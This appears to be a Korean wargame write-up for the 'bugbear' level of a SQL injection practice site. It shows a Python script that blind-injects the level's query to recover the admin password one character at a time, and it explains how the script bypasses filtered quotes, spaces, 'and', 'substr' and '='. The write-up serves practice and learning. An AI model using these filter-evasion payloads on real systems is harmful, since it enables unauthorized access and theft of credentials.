필터링을 먼저 확인해보면
싱글쿼터, substr, ascii, =, or, and,' ', like, 0x
정말 많은 것들을 사용하지 못하게 되었다.
이럴 때 우리는 어떻게 해야할까?
사실 저번 단계에서 한 것과 큰 차이는 없다.
import requests
url = "https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?"
headers = {"cookie":"PHPSESSID=qdc234242342"}
pw =''
for i in range(1,9):
for c in range(22,133):
query = "no=6||no%0ain%0a(2)%26%26mid(pw,{},1)%0ain%0a(%22{}%22)%23".format(i,chr(c))
#ord를 사용하지 않은 이유는 or의 필터링에 억울하게 걸리기 때문이다.
r = requests.get(url+query, headers=headers)
if "Hello admin" in r.text:
pw += chr(c)
print(pw)
break
작은따옴표는 큰따옴표로, %0a로 공백을 우회하고 and는 %26(&), substr은 mid를 사용하고 =은 in으로 우회하였다.